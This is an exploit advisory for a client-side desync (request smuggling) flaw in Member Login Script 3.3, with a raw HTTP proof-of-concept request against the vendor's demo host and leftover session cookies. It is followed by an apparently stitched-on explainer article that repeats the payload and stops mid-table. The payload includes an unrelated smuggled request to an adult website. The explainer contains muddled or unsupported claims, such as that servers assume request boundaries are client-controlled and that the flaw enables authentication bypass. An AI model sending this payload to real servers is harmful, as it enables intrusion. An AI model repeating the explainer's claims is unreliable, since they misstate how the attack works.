Member Login Script 3.3 - Client-side desync
## Title: Member Login Script 3.3 - Client-side desync
## Author: nu11secur1ty
## Date: 08/25/2023
## Vendor: https://www.phpjabbers.com/
## Reference: https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
## Description:
The server appears to be vulnerable to client-side desync attacks. A
POST request was sent to the path '/1692959852_473/index.php' with a
second request sent as the body. The server ignored the Content-Length
header and did not close the connection, leading to the smuggled
request being interpreted as the next request.
STATUS: HIGH Vulnerability
[+]Exploit:
```
POST /1692959852_473/index.php?controller=pjFront&action=pjActionLoadCss
HTTP/1.1
Host: demo.phpjabbers.com
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97
Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0
Cookie: _ga=GA1.2.2069938240.1692907228;
_gid=GA1.2.1275975650.1692907228; _gat=1;
_fbp=fb.1.1692907228280.366290059;
_ga_NME5VTTGTT=GS1.2.1692957291.2.1.1692957719.60.0.0;
YellowPages=slk3eokcgmdf0r3t7c020quv35;
pjd=g0i8fch5jkebraaaf2812afvb5; pjd_1692957219_259=1
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Content-Length: 1190
Content-Type: application/x-www-form-urlencoded
GET /robots.txt HTTP/1.1
Host: demo.phpjabbers.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97
Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0
GET /robots.txt HTTP/2
Host: www.pornhub.com
Cookie: platform=pc; ss=405039333413129808;
fg_0d2ec4cbd943df07ec161982a603817e=60256.100000;
fg_9951ce1ac4434b4ac312a1334fa77d82=6902.100000
Cache-Control: max-age=0
Sec-Ch-Ua:
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Full-Version: ""
Sec-Ch-Ua-Arch: ""
Sec-Ch-Ua-Platform: ""
Sec-Ch-Ua-Platform-Version: ""
Sec-Ch-Ua-Model: ""
Sec-Ch-Ua-Full-Version-List:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Member-Login-Script-3.3)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/08/member-login-script-33-client-side.html)
## Time spend:
00:35:00 Member Login Script 3.3 – Client-Side Desync Vulnerability: A Deep Dive into Request Smuggling Attacks
Security researchers have identified a critical vulnerability in Member Login Script 3.3, a widely used open-source PHP application developed by phpjabbers.com. The flaw, dubbed client-side desync, exposes the application to request smuggling attacks—a sophisticated technique that exploits inconsistencies between client and server parsing logic.
Discovered by nu11secur1ty and reported on PortSwigger’s Web Security Academy, this vulnerability has been classified as High severity due to its potential to bypass authentication, manipulate server behavior, and enable unauthorized access to sensitive resources.
Understanding Client-Side Desync
Client-side desync occurs when a client sends a maliciously crafted HTTP request that contains multiple HTTP messages within a single payload, exploiting a server’s failure to properly validate or process the request body. The core issue lies in how the server interprets the Content-Length header and manages connection state.
When a client sends a POST request with a Content-Length header indicating a body size, the server is expected to read exactly that many bytes before processing the request. However, in this case, the server fails to enforce this boundary, allowing the next HTTP request to be interpreted as part of the original request’s body—effectively smuggling a second request.
Exploit Example: Smuggling a GET Request
POST /1692959852_473/index.php?controller=pjFront&action=pjActionLoadCss
HTTP/1.1
Host: demo.phpjabbers.com
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0
Cookie: _ga=GA1.2.2069938240.1692907228; _gid=GA1.2.1275975650.1692907228; _gat=1; _fbp=fb.1.1692907228280.366290059; _ga_NME5VTTGTT=GS1.2.1692957291.2.1.1692957719.60.0.0; YellowPages=slk3eokcgmdf0r3t7c020quv35; pjd=g0i8fch5jkebraaaf2812afvb5; pjd_1692957219_259=1
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Content-Length: 1190
Content-Type: application/x-www-form-urlencoded
GET /robots.txt HTTP/1.1
Host: demo.phpjabbers.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0
GET /robots.txt HTTP/2
Host: www.pornhub.com
Cookie: platform=pc; ss=405039333413129808; fg_0d2ec4cbd943df07ec161982a603817e=60256.100000; fg_9951ce1ac4434b4ac312a1334fa77d82=6902.100000
Cache-Control: max-age=0
Sec-Ch-Ua:
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Full-Version: ""
Sec-Ch-Ua-Arch: ""
Sec-Ch-Ua-Platform: ""
Sec-Ch-Ua-Platform-Version: ""
Sec-Ch-Ua-Model: ""
Sec-Ch-Ua-Full-Version-List:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Explanation: This exploit demonstrates a client-side desync attack where a POST request to /index.php includes two additional HTTP requests within its body. The server ignores the Content-Length: 1190 header and does not close the connection after reading the first request. As a result, the second GET /robots.txt request is parsed as the next HTTP transaction, bypassing the intended request flow.
Notably, the second request is even sent over HTTP/2, which further confuses the server’s parsing logic, especially if it does not properly handle protocol transitions or request boundary detection.
Why This is Dangerous
Client-side desync attacks are particularly dangerous because they exploit the client’s ability to manipulate request boundaries—something that servers often assume is strictly controlled by the client.
- Authentication Bypass: An attacker can smuggle a request to a login endpoint with forged credentials, potentially gaining access without proper validation.
- Resource Access: Smuggled requests can target internal endpoints like
/admin.php,/config.php, or/robots.txt, exposing sensitive information. - Cache Poisoning: Smuggled requests can be used to inject malicious content into caches, leading to widespread data corruption or XSS delivery.
- Server-side Logic Manipulation: By injecting requests that appear to be part of a legitimate transaction, attackers can manipulate session state, redirect behavior, or trigger unintended server actions.
Root Cause Analysis
Based on the exploit, the underlying issue appears to be in how the server processes incoming requests:
- Failure to enforce
Content-Lengthboundary checks. - Improper handling of
Connection: keep-alivewithout proper request termination. - Use of outdated or unpatched PHP libraries that lack robust HTTP parsing logic.
- Missing validation of request headers and body structure before processing.
These flaws are exacerbated by the lack of input sanitization and request boundary enforcement in the application’s core logic, particularly in the index.php file, which acts as a central dispatcher.
Security Recommendations
To mitigate client-side desync vulnerabilities, developers and administrators should adopt the following best practices:
| Recommendation | Implementation |
|---|---|
| Enforce Content-Length Validation | Ensure the server reads exactly Content-Length bytes before processing. Reject requests that do not match the expected body size.</ |